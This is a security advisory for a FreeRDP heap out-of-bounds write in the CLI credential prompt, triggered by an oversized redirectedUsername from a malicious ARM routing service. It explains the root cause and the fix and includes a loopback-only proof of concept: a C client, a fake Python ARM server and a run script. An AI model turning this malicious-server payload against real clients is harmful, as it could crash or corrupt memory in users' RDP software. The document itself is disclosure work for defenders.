All vulnerabilities
GHSA-4ww8-3vqm-jgcf

ARM redirected username causes a heap out-of-bounds write in FreeRDP's CLI credential prompt

FreeRDP
CVSS
5.3Medium
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed in3.32.0Fixed versionGitHub
Published29 Sep 2026Updated 29 Sep 2026GitHub

What fixes it

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

A malicious or compromised ARM routing service configured for a FreeRDP CLI client can return a long redirectedUsername. During an ARM/RDSTLS connection without an existing password, FreeRDP passes that value to the CLI credential prompt. The line helper retains the string length as its write offset but shrinks the allocation to 32 bytes, so the next input byte is written beyond the heap allocation.

The complete product replay used a bearer-authenticated ARM POST and the production arm_fill_rdstls -> client_cli_authenticate_ex -> client_cli_read_string -> freerdp_interruptible_get_line path. A 16-byte control reached the prompt without an ASan finding. A 128-byte value caused a one-byte ASan heap-buffer-overflow and terminated the instrumented client.

This does not demonstrate ordinary RDP ServerRedirection reachability, unauthenticated arbitrary-Internet reachability, attacker-selected write bytes, secret disclosure, or code execution.

Prerequisites

  • FreeRDP is built with ARM/AAD gateway support.
  • The client uses the ARM/RDSTLS gateway flow.
  • No password is present when credentials are requested.
  • The configured ARM routing response is malicious or compromised.
  • The user submits input at the username prompt.

Technical details

libfreerdp/core/gateway/arm.c accepts redirectedUsername, stores it in FreeRDP_RedirectionUsername, copies it to FreeRDP_Username, and invokes AuthenticateEx(..., AUTH_RDSTLS) when the username or password is missing.

In client/common/client.c, AUTH_RDSTLS sets queryAll=TRUE, which causes client_cli_read_string to receive the non-null suggested username. That function duplicates the suggestion and passes its string length to freerdp_interruptible_get_line.

In libfreerdp/utils/passphrase.c, the helper copies the supplied size to used, but initializes capacity len to zero. When used + 2 >= len, it increments len only once by 32 and calls realloc(ptr, len). For a 128-byte suggestion this shrinks the buffer to 32 bytes while leaving used=128; the next prompt byte is written 96 bytes beyond the allocation.

The vulnerable suggested-value behavior first shipped in 3.18.0 and remains in 3.31.1 and current master. No fixed release was found.

Reproduction

The sibling poc/ directory contains a loopback-only product replay. It requires an AddressSanitizer-instrumented FreeRDP build with ARM/AAD and client-common support.

cd poc
./run.sh SOURCE_DIR BUILD_DIR

Observed output:

PASS control: authenticated ARM response reached AUTH_RDSTLS; no ASan finding
PASS positive: 128-byte redirectedUsername caused an ASan heap-buffer-overflow
PASS positive: production stack includes arm_fill_rdstls and freerdp_interruptible_get_line

The positive case intentionally terminates the ASan-instrumented client. It uses only loopback listeners and does not contact a public service.

Remediation

Fix freerdp_interruptible_get_line so its capacity is initialized from the supplied buffer size and grows, with overflow checks, until both the next input byte and terminating NUL fit. Add boundary tests for pre-filled buffers and an end-to-end ARM redirectedUsername -> RDSTLS prompt regression. Bounding redirectedUsername is useful defense in depth but should not replace correcting the generic helper.

Portable PoC files

<!-- BEGIN FILE: poc/arm_prompt_client.c -->

#include <freerdp/freerdp.h>
#include <freerdp/settings.h>
#include <winpr/wlog.h>

#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>

extern BOOL client_cli_authenticate_ex(freerdp* instance, char** username, char** password,
                                       char** domain, rdp_auth_reason reason);

static int set_string(rdpSettings* settings, FreeRDP_Settings_Keys_String key, const char* value)
{
	return freerdp_settings_set_string(settings, key, value) ? 1 : 0;
}

static int set_bool(rdpSettings* settings, FreeRDP_Settings_Keys_Bool key, BOOL value)
{
	return freerdp_settings_set_bool(settings, key, value) ? 1 : 0;
}

int main(int argc, char** argv)
{
	if (argc != 2)
		return 64;
	char* end = NULL;
	const long port = strtol(argv[1], &end, 10);
	if (!end || *end || port < 1 || port > UINT16_MAX)
		return 65;
	char endpoint[64];
	if (snprintf(endpoint, sizeof(endpoint), "127.0.0.1:%ld", port) < 0)
		return 65;

	freerdp* instance = freerdp_new();
	if (!instance || !freerdp_context_new(instance))
		return 66;
	instance->AuthenticateEx = client_cli_authenticate_ex;

	rdpSettings* settings = instance->context->settings;
	const BYTE loadBalance[] = "full address:s:unreachable.invalid";
	int ok = 1;
	ok &= set_string(settings, FreeRDP_ServerHostname, "unreachable.invalid");
	ok &= freerdp_settings_set_uint32(settings, FreeRDP_ServerPort, 3389);
	ok &= set_string(settings, FreeRDP_GatewayHostname, "127.0.0.1");
	ok &= freerdp_settings_set_uint32(settings, FreeRDP_GatewayPort, (UINT32)port);
	ok &= set_bool(settings, FreeRDP_GatewayEnabled, TRUE);
	ok &= set_bool(settings, FreeRDP_GatewayArmTransport, TRUE);
	ok &= set_bool(settings, FreeRDP_GatewayRpcTransport, FALSE);
	ok &= set_bool(settings, FreeRDP_GatewayHttpTransport, FALSE);
	ok &= set_bool(settings, FreeRDP_GatewayHttpUseWebsockets, FALSE);
	ok &= set_bool(settings, FreeRDP_AadSecurity, FALSE);
	ok &= set_bool(settings, FreeRDP_IgnoreCertificate, TRUE);
	ok &= set_bool(settings, FreeRDP_CredentialsFromStdin, TRUE);
	ok &= set_string(settings, FreeRDP_GatewayAzureActiveDirectory, endpoint);
	ok &= set_string(settings, FreeRDP_GatewayHttpExtAuthBearer, "test-access-token");
	ok &= set_string(settings, FreeRDP_RemoteApplicationProgram, "||test-app");
	ok &= freerdp_settings_set_pointer_len(settings, FreeRDP_LoadBalanceInfo, loadBalance,
	                                       sizeof(loadBalance) - 1);
	ok &= freerdp_settings_set_uint32(settings, FreeRDP_TcpConnectTimeout, 1000);
	if (!ok)
		return 67;

	WLog_SetLogLevel(WLog_GetRoot(), WLOG_TRACE);
	fprintf(stderr, "CLIENT_MARKER before_freerdp_connect\n");
	const BOOL connected = freerdp_connect(instance);
	fprintf(stderr, "CLIENT_MARKER after_freerdp_connect connected=%d last_error=0x%08" PRIx32
	                "\n",
	        connected, freerdp_get_last_error(instance->context));
	if (connected)
		freerdp_disconnect(instance);
	freerdp_context_free(instance);
	freerdp_free(instance);
	return connected ? 0 : 1;
}

<!-- END FILE: poc/arm_prompt_client.c -->

<!-- BEGIN FILE: poc/arm_prompt_server.py -->

#!/usr/bin/env python3
import argparse
import base64
import json
import socket
import ssl
import struct
from pathlib import Path


def read_request(connection):
    data = bytearray()
    while b"\r\n\r\n" not in data:
        block = connection.recv(4096)
        if not block:
            break
        data.extend(block)
    head, _, body = bytes(data).partition(b"\r\n\r\n")
    length = 0
    for line in head.split(b"\r\n")[1:]:
        if line.lower().startswith(b"content-length:"):
            length = int(line.split(b":", 1)[1].strip())
    while len(body) < length:
        body += connection.recv(4096)
    return head, body[:length]


def response(body):
    return (
        b"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\n"
        + f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n".encode()
        + body
    )


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--username-length", type=int, required=True)
    parser.add_argument("--cert", required=True)
    parser.add_argument("--key", required=True)
    parser.add_argument("--port", type=int, required=True)
    parser.add_argument("--transcript", required=True)
    args = parser.parse_args()

    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    context.load_cert_chain(args.cert, args.key)
    events = []
    with socket.socket() as listener:
        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        listener.bind(("127.0.0.1", args.port))
        listener.listen(4)
        print(f"ARM_SERVER listening port={args.port}", flush=True)
        for index in range(2):
            raw, _ = listener.accept()
            with context.wrap_socket(raw, server_side=True) as connection:
                head, body = read_request(connection)
                headers = head.decode("utf-8", "replace")
                authorization = next(
                    (
                        line
                        for line in headers.split("\r\n")
                        if line.lower().startswith("authorization:")
                    ),
                    None,
                )
                events.append(
                    {
                        "index": index + 1,
                        "headers": headers,
                        "body": body.decode("utf-8", "replace"),
                    }
                )
                if index == 0:
                    payload = b"{}"
                else:
                    if authorization != "Authorization: Bearer test-access-token":
                        raise RuntimeError("missing expected bearer token")
                    pem = Path(args.cert).read_text(encoding="ascii")
                    der = ssl.PEM_cert_to_DER_cert(pem)
                    certificate = struct.pack("<III", 32, 1, len(der)) + der
                    encoded = base64.b64encode(certificate).decode("ascii").encode("utf-16le")
                    payload = json.dumps(
                        {
                            "gatewayLocationPreWebSocket": "https://unreachable.invalid/",
                            "redirectedServerName": "unreachable.invalid",
                            "redirectedServerCert": base64.b64encode(encoded).decode("ascii"),
                            "redirectedUsername": "A" * args.username_length,
                            "redirectedAuthGuid": "00000000-0000-0000-0000-000000000000",
                        },
                        separators=(",", ":"),
                    ).encode("ascii")
                connection.sendall(response(payload))
                print(
                    f"ARM_SERVER request={index + 1} username_length={args.username_length}",
                    flush=True,
                )
    Path(args.transcript).write_text(json.dumps(events, indent=2) + "\n", encoding="utf-8")


if __name__ == "__main__":
    main()

<!-- END FILE: poc/arm_prompt_server.py -->

<!-- BEGIN FILE: poc/run.sh -->

#!/usr/bin/env bash
set -euo pipefail

if [[ $# -ne 2 ]]; then
    echo "usage: $0 SOURCE_DIR BUILD_DIR" >&2
    exit 2
fi

POC_DIR=$(cd "$(dirname "$0")" && pwd)
SOURCE=$(cd "$1" && pwd)
BUILD=$(cd "$2" && pwd)
REVISION=$(git -c safe.directory="$SOURCE" -C "$SOURCE" rev-parse HEAD)

case "$REVISION" in
    7d4c92dc842ac71713095bcbac5d6c35611dcde7|\
    fe8e4a68c7b7c6a80e0f7e92778ccf63df5ef7c3|\
    193fe551c9925c761722f589437decf9bc81d7aa)
        ;;
    *)
        echo "unsupported source revision: $REVISION" >&2
        echo "use FreeRDP 3.31.1 or one of the two inspected master revisions" >&2
        exit 1
        ;;
esac

find_library() {
    local pattern=$1
    local library
    library=$(find "$BUILD" -type f -name "$pattern" -print | sort -V | tail -n 1)
    if [[ -z "$library" ]]; then
        echo "required library not found: $pattern" >&2
        exit 1
    fi
    printf '%s\n' "$library"
}

CLIENT_BUILD=${CLIENT_BUILD_DIR:-$BUILD}
CLIENT_LIB=$(find "$CLIENT_BUILD" -type f -name 'libfreerdp-client3.so.*' -print | sort -V | tail -n 1)
if [[ -z "$CLIENT_LIB" ]]; then
    echo "required library not found: libfreerdp-client3.so.*" >&2
    exit 1
fi
CORE_LIB=$(find_library 'libfreerdp3.so.*')
WINPR_LIB=$(find_library 'libwinpr3.so.*')
if ! readelf -d "$CORE_LIB" 2>/dev/null | grep -q 'libasan'; then
    echo "BUILD_DIR must contain an AddressSanitizer-instrumented FreeRDP build" >&2
    exit 1
fi

WORK_ROOT=${POC_WORK_ROOT:-$PWD}
WORK=$(mktemp -d "$WORK_ROOT/freerdp-arm-prompt.XXXXXX")
SERVER_PID=
cleanup() {
    if [[ -n "$SERVER_PID" ]] && kill -0 "$SERVER_PID" 2>/dev/null; then
        kill "$SERVER_PID" 2>/dev/null || true
        wait "$SERVER_PID" 2>/dev/null || true
    fi
    if [[ ${KEEP_ARTIFACTS:-0} == 1 ]]; then
        echo "artifacts retained in $WORK"
    else
        rm -rf "$WORK"
    fi
}
trap cleanup EXIT INT TERM

cc -std=c11 -O1 -g -fsanitize=address -fno-omit-frame-pointer \
    -I"$SOURCE/include" -I"$SOURCE/winpr/include" \
    -I"$BUILD/include" -I"$BUILD/winpr/include" \
    "$POC_DIR/arm_prompt_client.c" \
    "$CLIENT_LIB" "$CORE_LIB" "$WINPR_LIB" \
    -Wl,--allow-shlib-undefined -o "$WORK/arm_prompt_client"

BUILD_LIBRARY_PATHS=$(find "$BUILD" -type f -name '*.so.*' -printf '%h\n' | sort -u | paste -sd: -)
CLIENT_LIBRARY_PATHS=$(find "$CLIENT_BUILD" -type f -name '*.so.*' -printf '%h\n' | sort -u | paste -sd: -)
LIBRARY_PATHS="$BUILD_LIBRARY_PATHS:$CLIENT_LIBRARY_PATHS"
if [[ -n ${DEPENDENCY_LIBRARY_DIR:-} ]]; then
    LIBRARY_PATHS="$LIBRARY_PATHS:$DEPENDENCY_LIBRARY_DIR"
fi
read -r CONTROL_PORT POSITIVE_PORT < <(python3 - <<'PY'
import socket

sockets = []
ports = []
for _ in range(2):
    sock = socket.socket()
    sock.bind(("127.0.0.1", 0))
    sockets.append(sock)
    ports.append(sock.getsockname()[1])
print(*ports)
for sock in sockets:
    sock.close()
PY
)

openssl req -x509 -newkey rsa:2048 -nodes -days 1 \
    -subj '/CN=localhost' -keyout "$WORK/key.pem" -out "$WORK/cert.pem" \
    >/dev/null 2>&1

run_case() {
    local name=$1
    local username_length=$2
    local port=$3
    local out="$WORK/$name"
    mkdir -p "$out"
    python3 "$POC_DIR/arm_prompt_server.py" \
        --username-length "$username_length" --cert "$WORK/cert.pem" \
        --key "$WORK/key.pem" --port "$port" --transcript "$out/arm-transcript.json" \
        >"$out/server.stdout" 2>"$out/server.stderr" &
    SERVER_PID=$!
    for _ in $(seq 1 100); do
        grep -q 'ARM_SERVER listening' "$out/server.stdout" && break
        sleep 0.05
    done
    grep -q 'ARM_SERVER listening' "$out/server.stdout"

    set +e
    printf '\n\ncontrol-password\n' | \
        env -u HTTP_PROXY -u HTTPS_PROXY -u ALL_PROXY \
        -u http_proxy -u https_proxy -u all_proxy \
        NO_PROXY=127.0.0.1,localhost no_proxy=127.0.0.1,localhost \
        LD_LIBRARY_PATH="$LIBRARY_PATHS" SSL_CERT_FILE="$WORK/cert.pem" \
        WLOG_LEVEL=TRACE ASAN_OPTIONS=abort_on_error=1:detect_leaks=0:symbolize=1 \
        timeout 20s "$WORK/arm_prompt_client" "$port" \
        >"$out/client.stdout" 2>"$out/client.stderr"
    printf '%s\n' "$?" >"$out/client.rc"
    for _ in $(seq 1 100); do
        kill -0 "$SERVER_PID" 2>/dev/null || break
        sleep 0.05
    done
    if kill -0 "$SERVER_PID" 2>/dev/null; then
        kill "$SERVER_PID" 2>/dev/null || true
        wait "$SERVER_PID" 2>/dev/null || true
        printf '124\n' >"$out/server.rc"
    else
        wait "$SERVER_PID"
        printf '%s\n' "$?" >"$out/server.rc"
    fi
    SERVER_PID=
    set -e
}

run_case control 16 "$CONTROL_PORT"
run_case positive 128 "$POSITIVE_PORT"

grep -q '^0$' "$WORK/control/server.rc"
grep -q '^0$' "$WORK/positive/server.rc"
grep -q 'Username:' "$WORK/control/client.stdout"
grep -q 'Username:' "$WORK/positive/client.stdout"
! grep -q 'AddressSanitizer:' "$WORK/control/client.stderr"
grep -q 'AddressSanitizer: heap-buffer-overflow' "$WORK/positive/client.stderr"
grep -q 'freerdp_interruptible_get_line' "$WORK/positive/client.stderr"
grep -q 'arm_fill_rdstls' "$WORK/positive/client.stderr"

echo 'PASS control: authenticated ARM response reached AUTH_RDSTLS; no ASan finding'
echo 'PASS positive: 128-byte redirectedUsername caused an ASan heap-buffer-overflow'
echo 'PASS positive: production stack includes arm_fill_rdstls and freerdp_interruptible_get_line'

<!-- END FILE: poc/run.sh -->

Text from GitHub Advisory Database

Affected versions 1

  • FreeRDP, c>= 3.18.0, <= 3.31.1GitHub